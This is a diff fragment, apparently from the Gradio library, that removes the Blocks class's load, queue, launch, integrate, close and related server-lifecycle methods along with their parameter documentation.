- block_config["api_info"] = block.api_info() # type: ignore
1455
- block_config["example_inputs"] = block.example_inputs() # type: ignore
1456
- config["components"].append(block_config)
1457
- config["dependencies"] = self.dependencies
1458
- return config
1459
-
1460
- def __enter__(self):
1461
- if Context.block is None:
1462
- Context.root_block = self
1463
- self.parent = Context.block
1464
- Context.block = self
1465
- self.exited = False
1466
- return self
1467
-
1468
- def __exit__(self, *args):
1469
- super().fill_expected_parents()
1470
- Context.block = self.parent
1471
- # Configure the load events before root_block is reset
1472
- self.attach_load_events()
1473
- if self.parent is None:
1474
- Context.root_block = None
1475
- else:
1476
- self.parent.children.extend(self.children)
1477
- self.config = self.get_config_file()
1478
- self.app = routes.App.create_app(self)
1479
- self.progress_tracking = any(block_fn.tracks_progress for block_fn in self.fns)
1480
- self.exited = True
1481
-
1482
- @class_or_instancemethod
1483
- def load(
1484
- self_or_cls, # noqa: N805
1485
- fn: Callable | None = None,
1486
- inputs: list[Component] | None = None,
1487
- outputs: list[Component] | None = None,
1488
- api_name: str | None | Literal[False] = None,
1489
- scroll_to_output: bool = False,
1490
- show_progress: str = "full",
1491
- queue=None,
1492
- batch: bool = False,
1493
- max_batch_size: int = 4,
1494
- preprocess: bool = True,
1495
- postprocess: bool = True,
1496
- every: float | None = None,
1497
- _js: str | None = None,
1498
- *,
1499
- name: str | None = None,
1500
- src: str | None = None,
1501
- api_key: str | None = None,
1502
- alias: str | None = None,
1503
- **kwargs,
1504
- ) -> Blocks | dict[str, Any] | None:
1505
- """
1506
- For reverse compatibility reasons, this is both a class method and an instance
1507
- method, the two of which, confusingly, do two completely different things.
1508
-
1509
-
1510
- Class method: loads a demo from a Hugging Face Spaces repo and creates it locally and returns a block instance. Warning: this method will be deprecated. Use the equivalent `gradio.load()` instead.
1511
-
1512
-
1513
- Instance method: adds event that runs as soon as the demo loads in the browser. Example usage below.
1514
- Parameters:
1515
- name: Class Method - the name of the model (e.g. "gpt2" or "facebook/bart-base") or space (e.g. "flax-community/spanish-gpt2"), can include the `src` as prefix (e.g. "models/facebook/bart-base")
1516
- src: Class Method - the source of the model: `models` or `spaces` (or leave empty if source is provided as a prefix in `name`)
1517
- api_key: Class Method - optional access token for loading private Hugging Face Hub models or spaces. Find your token here: https://huggingface.co/settings/tokens. Warning: only provide this if you are loading a trusted private Space as it can be read by the Space you are loading.
1518
- alias: Class Method - optional string used as the name of the loaded model instead of the default name (only applies if loading a Space running Gradio 2.x)
1519
- fn: Instance Method - the function to wrap an interface around. Often a machine learning model's prediction function. Each parameter of the function corresponds to one input component, and the function should return a single value or a tuple of values, with each element in the tuple corresponding to one output component.
1520
- inputs: Instance Method - List of gradio.components to use as inputs. If the function takes no inputs, this should be an empty list.
1521
- outputs: Instance Method - List of gradio.components to use as inputs. If the function returns no outputs, this should be an empty list.
1522
- api_name: Instance Method - Defines how the endpoint appears in the API docs. Can be a string, None, or False. If False, the endpoint will not be exposed in the api docs. If set to None, the endpoint will be exposed in the api docs as an unnamed endpoint, although this behavior will be changed in Gradio 4.0. If set to a string, the endpoint will be exposed in the api docs with the given name.
1523
- scroll_to_output: Instance Method - If True, will scroll to output component on completion
1524
- show_progress: Instance Method - If True, will show progress animation while pending
1525
- queue: Instance Method - If True, will place the request on the queue, if the queue exists
1526
- batch: Instance Method - If True, then the function should process a batch of inputs, meaning that it should accept a list of input values for each parameter. The lists should be of equal length (and be up to length `max_batch_size`). The function is then *required* to return a tuple of lists (even if there is only 1 output component), with each list in the tuple corresponding to one output component.
1527
- max_batch_size: Instance Method - Maximum number of inputs to batch together if this is called from the queue (only relevant if batch=True)
1528
- preprocess: Instance Method - If False, will not run preprocessing of component data before running 'fn' (e.g. leaving it as a base64 string if this method is called with the `Image` component).
1529
- postprocess: Instance Method - If False, will not run postprocessing of component data before returning 'fn' output to the browser.
1530
- every: Instance Method - Run this event 'every' number of seconds. Interpreted in seconds. Queue must be enabled.
1531
- Example:
1532
- import gradio as gr
1533
- import datetime
1534
- with gr.Blocks() as demo:
1535
- def get_time():
1536
- return datetime.datetime.now().time()
1537
- dt = gr.Textbox(label="Current time")
1538
- demo.load(get_time, inputs=None, outputs=dt)
1539
- demo.launch()
1540
- """
1541
- if isinstance(self_or_cls, type):
1542
- warn_deprecation(
1543
- "gr.Blocks.load() will be deprecated. Use gr.load() instead."
1544
- )
1545
- if name is None:
1546
- raise ValueError(
1547
- "Blocks.load() requires passing parameters as keyword arguments"
1548
- )
1549
- return external.load(
1550
- name=name, src=src, hf_token=api_key, alias=alias, **kwargs
1551
- )
1552
- else:
1553
- from gradio.events import Dependency
1554
-
1555
- dep, dep_index = self_or_cls.set_event_trigger(
1556
- event_name="load",
1557
- fn=fn,
1558
- inputs=inputs,
1559
- outputs=outputs,
1560
- api_name=api_name,
1561
- preprocess=preprocess,
1562
- postprocess=postprocess,
1563
- scroll_to_output=scroll_to_output,
1564
- show_progress=show_progress,
1565
- js=_js,
1566
- queue=queue,
1567
- batch=batch,
1568
- max_batch_size=max_batch_size,
1569
- every=every,
1570
- no_target=True,
1571
- )
1572
- return Dependency(self_or_cls, dep, dep_index)
1573
-
1574
- def clear(self):
1575
- """Resets the layout of the Blocks object."""
1576
- self.blocks = {}
1577
- self.fns = []
1578
- self.dependencies = []
1579
- self.children = []
1580
- return self
1581
-
1582
- @document()
1583
- def queue(
1584
- self,
1585
- concurrency_count: int = 1,
1586
- status_update_rate: float | Literal["auto"] = "auto",
1587
- client_position_to_load_data: int | None = None,
1588
- default_enabled: bool | None = None,
1589
- api_open: bool = True,
1590
- max_size: int | None = None,
1591
- ):
1592
- """
1593
- You can control the rate of processed requests by creating a queue. This will allow you to set the number of requests to be processed at one time, and will let users know their position in the queue.
1594
- Parameters:
1595
- concurrency_count: Number of worker threads that will be processing requests from the queue concurrently. Increasing this number will increase the rate at which requests are processed, but will also increase the memory usage of the queue.
1596
- status_update_rate: If "auto", Queue will send status estimations to all clients whenever a job is finished. Otherwise Queue will send status at regular intervals set by this parameter as the number of seconds.
1597
- client_position_to_load_data: DEPRECATED. This parameter is deprecated and has no effect.
1598
- default_enabled: Deprecated and has no effect.
1599
- api_open: If True, the REST routes of the backend will be open, allowing requests made directly to those endpoints to skip the queue.
1600
- max_size: The maximum number of events the queue will store at any given moment. If the queue is full, new events will not be added and a user will receive a message saying that the queue is full. If None, the queue size will be unlimited.
1601
- Example: (Blocks)
1602
- with gr.Blocks() as demo:
1603
- button = gr.Button(label="Generate Image")
1604
- button.click(fn=image_generator, inputs=gr.Textbox(), outputs=gr.Image())
1605
- demo.queue(concurrency_count=3)
1606
- demo.launch()
1607
- Example: (Interface)
1608
- demo = gr.Interface(image_generator, gr.Textbox(), gr.Image())
1609
- demo.queue(concurrency_count=3)
1610
- demo.launch()
1611
- """
1612
- if default_enabled is not None:
1613
- warn_deprecation(
1614
- "The default_enabled parameter of queue has no effect and will be removed "
1615
- "in a future version of gradio."
1616
- )
1617
- self.enable_queue = True
1618
- self.api_open = api_open
1619
- if client_position_to_load_data is not None:
1620
- warn_deprecation(
1621
- "The client_position_to_load_data parameter is deprecated."
1622
- )
1623
- max_size_default = self.max_threads if utils.is_zero_gpu_space() else None
1624
- self._queue = queueing.Queue(
1625
- live_updates=status_update_rate == "auto",
1626
- concurrency_count=concurrency_count,
1627
- update_intervals=status_update_rate if status_update_rate != "auto" else 1,
1628
- max_size=max_size_default if max_size is None else max_size,
1629
- blocks_dependencies=self.dependencies,
1630
- )
1631
- self.config = self.get_config_file()
1632
- self.app = routes.App.create_app(self)
1633
- return self
1634
-
1635
- def validate_queue_settings(self):
1636
- if not self.enable_queue and self.progress_tracking:
1637
- raise ValueError("Progress tracking requires queuing to be enabled.")
1638
-
1639
- for fn_index, dep in enumerate(self.dependencies):
1640
- if not self.enable_queue and self.queue_enabled_for_fn(fn_index):
1641
- raise ValueError(
1642
- f"The queue is enabled for event {dep['api_name'] if dep['api_name'] else fn_index} "
1643
- "but the queue has not been enabled for the app. Please call .queue() "
1644
- "on your app. Consult https://gradio.app/docs/#blocks-queue for information on how "
1645
- "to configure the queue."
1646
- )
1647
- for i in dep["cancels"]:
1648
- if not self.queue_enabled_for_fn(i):
1649
- raise ValueError(
1650
- "Queue needs to be enabled! "
1651
- "You may get this error by either 1) passing a function that uses the yield keyword "
1652
- "into an interface without enabling the queue or 2) defining an event that cancels "
1653
- "another event without enabling the queue. Both can be solved by calling .queue() "
1654
- "before .launch()"
1655
- )
1656
- if dep["batch"] and (
1657
- dep["queue"] is False
1658
- or (dep["queue"] is None and not self.enable_queue)
1659
- ):
1660
- raise ValueError("In order to use batching, the queue must be enabled.")
1661
-
1662
- def launch(
1663
- self,
1664
- inline: bool | None = None,
1665
- inbrowser: bool = False,
1666
- share: bool | None = None,
1667
- debug: bool = False,
1668
- enable_queue: bool | None = None,
1669
- max_threads: int = 40,
1670
- auth: Callable | tuple[str, str] | list[tuple[str, str]] | None = None,
1671
- auth_message: str | None = None,
1672
- prevent_thread_lock: bool = False,
1673
- show_error: bool = False,
1674
- server_name: str | None = None,
1675
- server_port: int | None = None,
1676
- show_tips: bool = False,
1677
- height: int = 500,
1678
- width: int | str = "100%",
1679
- encrypt: bool | None = None,
1680
- favicon_path: str | None = None,
1681
- ssl_keyfile: str | None = None,
1682
- ssl_certfile: str | None = None,
1683
- ssl_keyfile_password: str | None = None,
1684
- ssl_verify: bool = True,
1685
- quiet: bool = False,
1686
- show_api: bool = True,
1687
- file_directories: list[str] | None = None,
1688
- allowed_paths: list[str] | None = None,
1689
- blocked_paths: list[str] | None = None,
1690
- root_path: str = "",
1691
- _frontend: bool = True,
1692
- app_kwargs: dict[str, Any] | None = None,
1693
- ) -> tuple[FastAPI, str, str]:
1694
- """
1695
- Launches a simple web server that serves the demo. Can also be used to create a
1696
- public link used by anyone to access the demo from their browser by setting share=True.
1697
-
1698
- Parameters:
1699
- inline: whether to display in the interface inline in an iframe. Defaults to True in python notebooks; False otherwise.
1700
- inbrowser: whether to automatically launch the interface in a new tab on the default browser.
1701
- share: whether to create a publicly shareable link for the interface. Creates an SSH tunnel to make your UI accessible from anywhere. If not provided, it is set to False by default every time, except when running in Google Colab. When localhost is not accessible (e.g. Google Colab), setting share=False is not supported.
1702
- debug: if True, blocks the main thread from running. If running in Google Colab, this is needed to print the errors in the cell output.
1703
- auth: If provided, username and password (or list of username-password tuples) required to access interface. Can also provide function that takes username and password and returns True if valid login.
1704
- auth_message: If provided, HTML message provided on login page.
1705
- prevent_thread_lock: If True, the interface will block the main thread while the server is running.
1706
- show_error: If True, any errors in the interface will be displayed in an alert modal and printed in the browser console log
1707
- server_port: will start gradio app on this port (if available). Can be set by environment variable GRADIO_SERVER_PORT. If None, will search for an available port starting at 7860.
1708
- server_name: to make app accessible on local network, set this to "0.0.0.0". Can be set by environment variable GRADIO_SERVER_NAME. If None, will use "127.0.0.1".
1709
- show_tips: if True, will occasionally show tips about new Gradio features
1710
- enable_queue: DEPRECATED (use .queue() method instead.) if True, inference requests will be served through a queue instead of with parallel threads. Required for longer inference times (> 1min) to prevent timeout. The default option in HuggingFace Spaces is True. The default option elsewhere is False.
1711
- max_threads: the maximum number of total threads that the Gradio app can generate in parallel. The default is inherited from the starlette library (currently 40). Applies whether the queue is enabled or not. But if queuing is enabled, this parameter is increaseed to be at least the concurrency_count of the queue.
1712
- width: The width in pixels of the iframe element containing the interface (used if inline=True)
1713
- height: The height in pixels of the iframe element containing the interface (used if inline=True)
1714
- encrypt: DEPRECATED. Has no effect.
1715
- favicon_path: If a path to a file (.png, .gif, or .ico) is provided, it will be used as the favicon for the web page.
1716
- ssl_keyfile: If a path to a file is provided, will use this as the private key file to create a local server running on https.
1717
- ssl_certfile: If a path to a file is provided, will use this as the signed certificate for https. Needs to be provided if ssl_keyfile is provided.
1718
- ssl_keyfile_password: If a password is provided, will use this with the ssl certificate for https.
1719
- ssl_verify: If False, skips certificate validation which allows self-signed certificates to be used.
1720
- quiet: If True, suppresses most print statements.
1721
- show_api: If True, shows the api docs in the footer of the app. Default True. If the queue is enabled, then api_open parameter of .queue() will determine if the api docs are shown, independent of the value of show_api.
1722
- file_directories: This parameter has been renamed to `allowed_paths`. It will be removed in a future version.
1723
- allowed_paths: List of complete filepaths or parent directories that gradio is allowed to serve (in addition to the directory containing the gradio python file). Must be absolute paths. Warning: if you provide directories, any files in these directories or their subdirectories are accessible to all users of your app.
1724
- blocked_paths: List of complete filepaths or parent directories that gradio is not allowed to serve (i.e. users of your app are not allowed to access). Must be absolute paths. Warning: takes precedence over `allowed_paths` and all other directories exposed by Gradio by default.
1725
- root_path: The root path (or "mount point") of the application, if it's not served from the root ("/") of the domain. Often used when the application is behind a reverse proxy that forwards requests to the application. For example, if the application is served at "https://example.com/myapp", the `root_path` should be set to "/myapp".
1726
- app_kwargs: Additional keyword arguments to pass to the underlying FastAPI app as a dictionary of parameter keys and argument values. For example, `{"docs_url": "/docs"}`
1727
- Returns:
1728
- app: FastAPI app object that is running the demo
1729
- local_url: Locally accessible link to the demo
1730
- share_url: Publicly accessible link to the demo (if share=True, otherwise None)
1731
- Example: (Blocks)
1732
- import gradio as gr
1733
- def reverse(text):
1734
- return text[::-1]
1735
- with gr.Blocks() as demo:
1736
- button = gr.Button(value="Reverse")
1737
- button.click(reverse, gr.Textbox(), gr.Textbox())
1738
- demo.launch(share=True, auth=("username", "password"))
1739
- Example: (Interface)
1740
- import gradio as gr
1741
- def reverse(text):
1742
- return text[::-1]
1743
- demo = gr.Interface(reverse, "text", "text")
1744
- demo.launch(share=True, auth=("username", "password"))
1745
- """
1746
- if not self.exited:
1747
- self.__exit__()
1748
-
1749
- self.dev_mode = False
1750
- if (
1751
- auth
1752
- and not callable(auth)
1753
- and not isinstance(auth[0], tuple)
1754
- and not isinstance(auth[0], list)
1755
- ):
1756
- self.auth = [auth]
1757
- else:
1758
- self.auth = auth
1759
- self.auth_message = auth_message
1760
- self.show_tips = show_tips
1761
- self.show_error = show_error
1762
- self.height = height
1763
- self.width = width
1764
- self.favicon_path = favicon_path
1765
- self.ssl_verify = ssl_verify
1766
- self.root_path = root_path
1767
-
1768
- if enable_queue is not None:
1769
- self.enable_queue = enable_queue
1770
- warn_deprecation(
1771
- "The `enable_queue` parameter has been deprecated. "
1772
- "Please use the `.queue()` method instead.",
1773
- )
1774
- if encrypt is not None:
1775
- warn_deprecation(
1776
- "The `encrypt` parameter has been deprecated and has no effect.",
1777
- )
1778
-
1779
- if self.space_id:
1780
- self.enable_queue = self.enable_queue is not False
1781
- else:
1782
- self.enable_queue = self.enable_queue is True
1783
- if self.enable_queue and not hasattr(self, "_queue"):
1784
- self.queue()
1785
- self.show_api = self.api_open if self.enable_queue else show_api
1786
-
1787
- if file_directories is not None:
1788
- warn_deprecation(
1789
- "The `file_directories` parameter has been renamed to `allowed_paths`. "
1790
- "Please use that instead.",
1791
- )
1792
- if allowed_paths is None:
1793
- allowed_paths = file_directories
1794
- self.allowed_paths = allowed_paths or []
1795
- self.blocked_paths = blocked_paths or []
1796
-
1797
- if not isinstance(self.allowed_paths, list):
1798
- raise ValueError("`allowed_paths` must be a list of directories.")
1799
- if not isinstance(self.blocked_paths, list):
1800
- raise ValueError("`blocked_paths` must be a list of directories.")
1801
-
1802
- self.validate_queue_settings()
1803
-
1804
- self.config = self.get_config_file()
1805
- self.max_threads = max(
1806
- self._queue.max_thread_count if self.enable_queue else 0, max_threads
1807
- )
1808
-
1809
- if self.is_running:
1810
- assert isinstance(
1811
- self.local_url, str
1812
- ), f"Invalid local_url: {self.local_url}"
1813
- if not (quiet):
1814
- print(
1815
- "Rerunning server... use `close()` to stop if you need to change `launch()` parameters.\n----"
1816
- )
1817
- else:
1818
- if wasm_utils.IS_WASM:
1819
- server_name = "xxx"
1820
- server_port = 99999
1821
- local_url = ""
1822
- server = None
1823
-
1824
- # In the Wasm environment, we only need the app object
1825
- # which the frontend app will directly communicate with through the Worker API,
1826
- # and we don't need to start a server.
1827
- # So we just create the app object and register it here,
1828
- # and avoid using `networking.start_server` that would start a server that don't work in the Wasm env.
1829
- from gradio.routes import App
1830
-
1831
- app = App.create_app(self, app_kwargs=app_kwargs)
1832
- wasm_utils.register_app(app)
1833
- else:
1834
- (
1835
- server_name,
1836
- server_port,
1837
- local_url,
1838
- app,
1839
- server,
1840
- ) = networking.start_server(
1841
- self,
1842
- server_name,
1843
- server_port,
1844
- ssl_keyfile,
1845
- ssl_certfile,
1846
- ssl_keyfile_password,
1847
- app_kwargs=app_kwargs,
1848
- )
1849
- self.server_name = server_name
1850
- self.local_url = local_url
1851
- self.server_port = server_port
1852
- self.server_app = app
1853
- self.server = server
1854
- self.is_running = True
1855
- self.is_colab = utils.colab_check()
1856
- self.is_kaggle = utils.kaggle_check()
1857
-
1858
- self.protocol = (
1859
- "https"
1860
- if self.local_url.startswith("https") or self.is_colab
1861
- else "http"
1862
- )
1863
- if not self.is_colab:
1864
- print(
1865
- strings.en["RUNNING_LOCALLY_SEPARATED"].format(
1866
- self.protocol, self.server_name, self.server_port
1867
- )
1868
- )
1869
-
1870
- if self.enable_queue:
1871
- self._queue.set_url(self.local_url)
1872
-
1873
- # Cannot run async functions in background other than app's scope.
1874
- # Workaround by triggering the app endpoint
1875
- if not wasm_utils.IS_WASM:
1876
- requests.get(f"{self.local_url}startup-events", verify=ssl_verify)
1877
-
1878
- if wasm_utils.IS_WASM:
1879
- return TupleNoPrint((self.server_app, self.local_url, self.share_url))
1880
-
1881
- utils.launch_counter()
1882
- self.is_sagemaker = utils.sagemaker_check()
1883
- if share is None:
1884
- if self.is_colab and self.enable_queue:
1885
- if not quiet:
1886
- print(
1887
- "Setting queue=True in a Colab notebook requires sharing enabled. Setting `share=True` (you can turn this off by setting `share=False` in `launch()` explicitly).\n"
1888
- )
1889
- self.share = True
1890
- elif self.is_kaggle:
1891
- if not quiet:
1892
- print(
1893
- "Kaggle notebooks require sharing enabled. Setting `share=True` (you can turn this off by setting `share=False` in `launch()` explicitly).\n"
1894
- )
1895
- self.share = True
1896
- elif self.is_sagemaker:
1897
- if not quiet:
1898
- print(
1899
- "Sagemaker notebooks may require sharing enabled. Setting `share=True` (you can turn this off by setting `share=False` in `launch()` explicitly).\n"
1900
- )
1901
- self.share = True
1902
- else:
1903
- self.share = False
1904
- else:
1905
- self.share = share
1906
-
1907
- # If running in a colab or not able to access localhost,
1908
- # a shareable link must be created.
1909
- if _frontend and (not networking.url_ok(self.local_url)) and (not self.share):
1910
- raise ValueError(
1911
- "When localhost is not accessible, a shareable link must be created. Please set share=True or check your proxy settings to allow access to localhost."
1912
- )
1913
-
1914
- if self.is_colab:
1915
- if not quiet:
1916
- if debug:
1917
- print(strings.en["COLAB_DEBUG_TRUE"])
1918
- else:
1919
- print(strings.en["COLAB_DEBUG_FALSE"])
1920
- if not self.share:
1921
- print(strings.en["COLAB_WARNING"].format(self.server_port))
1922
- if self.enable_queue and not self.share:
1923
- raise ValueError(
1924
- "When using queueing in Colab, a shareable link must be created. Please set share=True."
1925
- )
1926
-
1927
- if self.share:
1928
- if self.space_id:
1929
- raise RuntimeError("Share is not supported when you are in Spaces")
1930
- try:
1931
- if self.share_url is None:
1932
- self.share_url = networking.setup_tunnel(
1933
- self.server_name, self.server_port, self.share_token
1934
- )
1935
- print(strings.en["SHARE_LINK_DISPLAY"].format(self.share_url))
1936
- if not (quiet):
1937
- print(strings.en["SHARE_LINK_MESSAGE"])
1938
- except (RuntimeError, requests.exceptions.ConnectionError):
1939
- if self.analytics_enabled:
1940
- analytics.error_analytics("Not able to set up tunnel")
1941
- self.share_url = None
1942
- self.share = False
1943
- if Path(BINARY_PATH).exists():
1944
- print(strings.en["COULD_NOT_GET_SHARE_LINK"])
1945
- else:
1946
- print(
1947
- strings.en["COULD_NOT_GET_SHARE_LINK_MISSING_FILE"].format(
1948
- BINARY_PATH,
1949
- BINARY_URL,
1950
- BINARY_FILENAME,
1951
- BINARY_FOLDER,
1952
- )
1953
- )
1954
- else:
1955
- if not (quiet):
1956
- print(strings.en["PUBLIC_SHARE_TRUE"])
1957
- self.share_url = None
1958
-
1959
- if inbrowser:
1960
- link = self.share_url if self.share and self.share_url else self.local_url
1961
- webbrowser.open(link)
1962
-
1963
- # Check if running in a Python notebook in which case, display inline
1964
- if inline is None:
1965
- inline = utils.ipython_check()
1966
- if inline:
1967
- try:
1968
- from IPython.display import HTML, Javascript, display # type: ignore
1969
-
1970
- if self.share and self.share_url:
1971
- while not networking.url_ok(self.share_url):
1972
- time.sleep(0.25)
1973
- display(
1974
- HTML(
1975
- f'<div><iframe src="{self.share_url}" width="{self.width}" height="{self.height}" allow="autoplay; camera; microphone; clipboard-read; clipboard-write;" frameborder="0" allowfullscreen></iframe></div>'
1976
- )
1977
- )
1978
- elif self.is_colab:
1979
- # modified from /usr/local/lib/python3.7/dist-packages/google/colab/output/_util.py within Colab environment
1980
- code = """(async (port, path, width, height, cache, element) => {
1981
- if (!google.colab.kernel.accessAllowed && !cache) {
1982
- return;
1983
- }
1984
- element.appendChild(document.createTextNode(''));
1985
- const url = await google.colab.kernel.proxyPort(port, {cache});
1986
-
1987
- const external_link = document.createElement('div');
1988
- external_link.innerHTML = `
1989
- <div style="font-family: monospace; margin-bottom: 0.5rem">
1990
- Running on <a href=${new URL(path, url).toString()} target="_blank">
1991
- https://localhost:${port}${path}
1992
- </a>
1993
- </div>
1994
- `;
1995
- element.appendChild(external_link);
1996
-
1997
- const iframe = document.createElement('iframe');
1998
- iframe.src = new URL(path, url).toString();
1999
- iframe.height = height;
2000
- iframe.allow = "autoplay; camera; microphone; clipboard-read; clipboard-write;"
2001
- iframe.width = width;
2002
- iframe.style.border = 0;
2003
- element.appendChild(iframe);
2004
- })""" + "({port}, {path}, {width}, {height}, {cache}, window.element)".format(
2005
- port=json.dumps(self.server_port),
2006
- path=json.dumps("/"),
2007
- width=json.dumps(self.width),
2008
- height=json.dumps(self.height),
2009
- cache=json.dumps(False),
2010
- )
2011
-
2012
- display(Javascript(code))
2013
- else:
2014
- display(
2015
- HTML(
2016
- f'<div><iframe src="{self.local_url}" width="{self.width}" height="{self.height}" allow="autoplay; camera; microphone; clipboard-read; clipboard-write;" frameborder="0" allowfullscreen></iframe></div>'
2017
- )
2018
- )
2019
- except ImportError:
2020
- pass
2021
-
2022
- if getattr(self, "analytics_enabled", False):
2023
- data = {
2024
- "launch_method": "browser" if inbrowser else "inline",
2025
- "is_google_colab": self.is_colab,
2026
- "is_sharing_on": self.share,
2027
- "share_url": self.share_url,
2028
- "enable_queue": self.enable_queue,
2029
- "show_tips": self.show_tips,
2030
- "server_name": server_name,
2031
- "server_port": server_port,
2032
- "is_space": self.space_id is not None,
2033
- "mode": self.mode,
2034
- }
2035
- analytics.launched_analytics(self, data)
2036
-
2037
- utils.show_tip(self)
2038
-
2039
- # Block main thread if debug==True
2040
- if debug or int(os.getenv("GRADIO_DEBUG", 0)) == 1:
2041
- self.block_thread()
2042
- # Block main thread if running in a script to stop script from exiting
2043
- is_in_interactive_mode = bool(getattr(sys, "ps1", sys.flags.interactive))
2044
-
2045
- if not prevent_thread_lock and not is_in_interactive_mode:
2046
- self.block_thread()
2047
-
2048
- return TupleNoPrint((self.server_app, self.local_url, self.share_url))
2049
-
2050
- def integrate(
2051
- self,
2052
- comet_ml=None,
2053
- wandb: ModuleType | None = None,
2054
- mlflow: ModuleType | None = None,
2055
- ) -> None:
2056
- """
2057
- A catch-all method for integrating with other libraries. This method should be run after launch()
2058
- Parameters:
2059
- comet_ml: If a comet_ml Experiment object is provided, will integrate with the experiment and appear on Comet dashboard
2060
- wandb: If the wandb module is provided, will integrate with it and appear on WandB dashboard
2061
- mlflow: If the mlflow module is provided, will integrate with the experiment and appear on ML Flow dashboard
2062
- """
2063
- analytics_integration = ""
2064
- if comet_ml is not None:
2065
- analytics_integration = "CometML"
2066
- comet_ml.log_other("Created from", "Gradio")
2067
- if self.share_url is not None:
2068
- comet_ml.log_text(f"gradio: {self.share_url}")
2069
- comet_ml.end()
2070
- elif self.local_url:
2071
- comet_ml.log_text(f"gradio: {self.local_url}")
2072
- comet_ml.end()
2073
- else:
2074
- raise ValueError("Please run `launch()` first.")
2075
- if wandb is not None:
2076
- analytics_integration = "WandB"
2077
- if self.share_url is not None:
2078
- wandb.log(
2079
- {
2080
- "Gradio panel": wandb.Html(
2081
- '<iframe src="'
2082
- + self.share_url
2083
- + '" width="'
2084
- + str(self.width)
2085
- + '" height="'
2086
- + str(self.height)
2087
- + '" frameBorder="0"></iframe>'
2088
- )
2089
- }
2090
- )
2091
- else:
2092
- print(
2093
- "The WandB integration requires you to "
2094
- "`launch(share=True)` first."
2095
- )
2096
- if mlflow is not None:
2097
- analytics_integration = "MLFlow"
2098
- if self.share_url is not None:
2099
- mlflow.log_param("Gradio Interface Share Link", self.share_url)
2100
- else:
2101
- mlflow.log_param("Gradio Interface Local Link", self.local_url)
2102
- if self.analytics_enabled and analytics_integration:
2103
- data = {"integration": analytics_integration}
2104
- analytics.integration_analytics(data)
2105
-
2106
- def close(self, verbose: bool = True) -> None:
2107
- """
2108
- Closes the Interface that was launched and frees the port.
2109
- """
2110
- try:
2111
- if self.enable_queue:
2112
- self._queue.close()
2113
- if self.server:
2114
- self.server.close()
2115
- self.is_running = False
2116
- # So that the startup events (starting the queue)
2117
- # happen the next time the app is launched
2118
- self.app.startup_events_triggered = False
2119
- if verbose:
2120
- print(f"Closing server running on port: {self.server_port}")
2121
- except (AttributeError, OSError): # can't close if not running
2122
- pass
2123
-
2124
- def block_thread(
2125
- self,
2126
- ) -> None:
2127
- """Block main thread until interrupted by user."""
2128
- try:
2129
- while True:
2130
- time.sleep(0.1)
2131
- except (KeyboardInterrupt, OSError):
2132
- print("Keyboard interruption in main thread... closing server.")
2133
- if self.server:
2134
- self.server.close()
2135
- for tunnel in CURRENT_TUNNELS:
2136
- tunnel.kill()
2137
-
2138
- def attach_load_events(self):
2139
- """Add a load event for every component whose initial value should be randomized."""
2140
- if Context.root_block:
2141
- for component in Context.root_block.blocks.values():
2142
- if (
2143
- isinstance(component, components.IOComponent)
2144
- and component.load_event_to_attach
2145
- ):
2146
- load_fn, every = component.load_event_to_attach
2147
- # Use set_event_trigger to avoid ambiguity between load class/instance method
2148
- dep = self.set_event_trigger(
2149
- "load",
2150
- load_fn,
2151
- None,
2152
- component,
2153
- no_target=True,
2154
- # If every is None, for sure skip the queue
2155
- # else, let the enable_queue parameter take precedence
2156
- # this will raise a nice error message is every is used
2157
- # without queue
2158
- queue=False if every is None else None,
2159
- every=every,
2160
- )[0]
2161
- component.load_event = dep
2162
-
2163
- def startup_events(self):
2164
- """Events that should be run when the app containing this block starts up."""
2165
-
2166
- if self.enable_queue:
2167
- utils.run_coro_in_background(self._queue.start, self.ssl_verify)
2168
- # So that processing can resume in case the queue was stopped
2169
- self._queue.stopped = False
2170
- utils.run_coro_in_background(self.create_limiter)
2171
-
2172
- def queue_enabled_for_fn(self, fn_index: int):
2173
- if self.dependencies[fn_index]["queue"] is None:
2174
- return self.enable_queue
2175
- return self.dependencies[fn_index]["queue"]
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
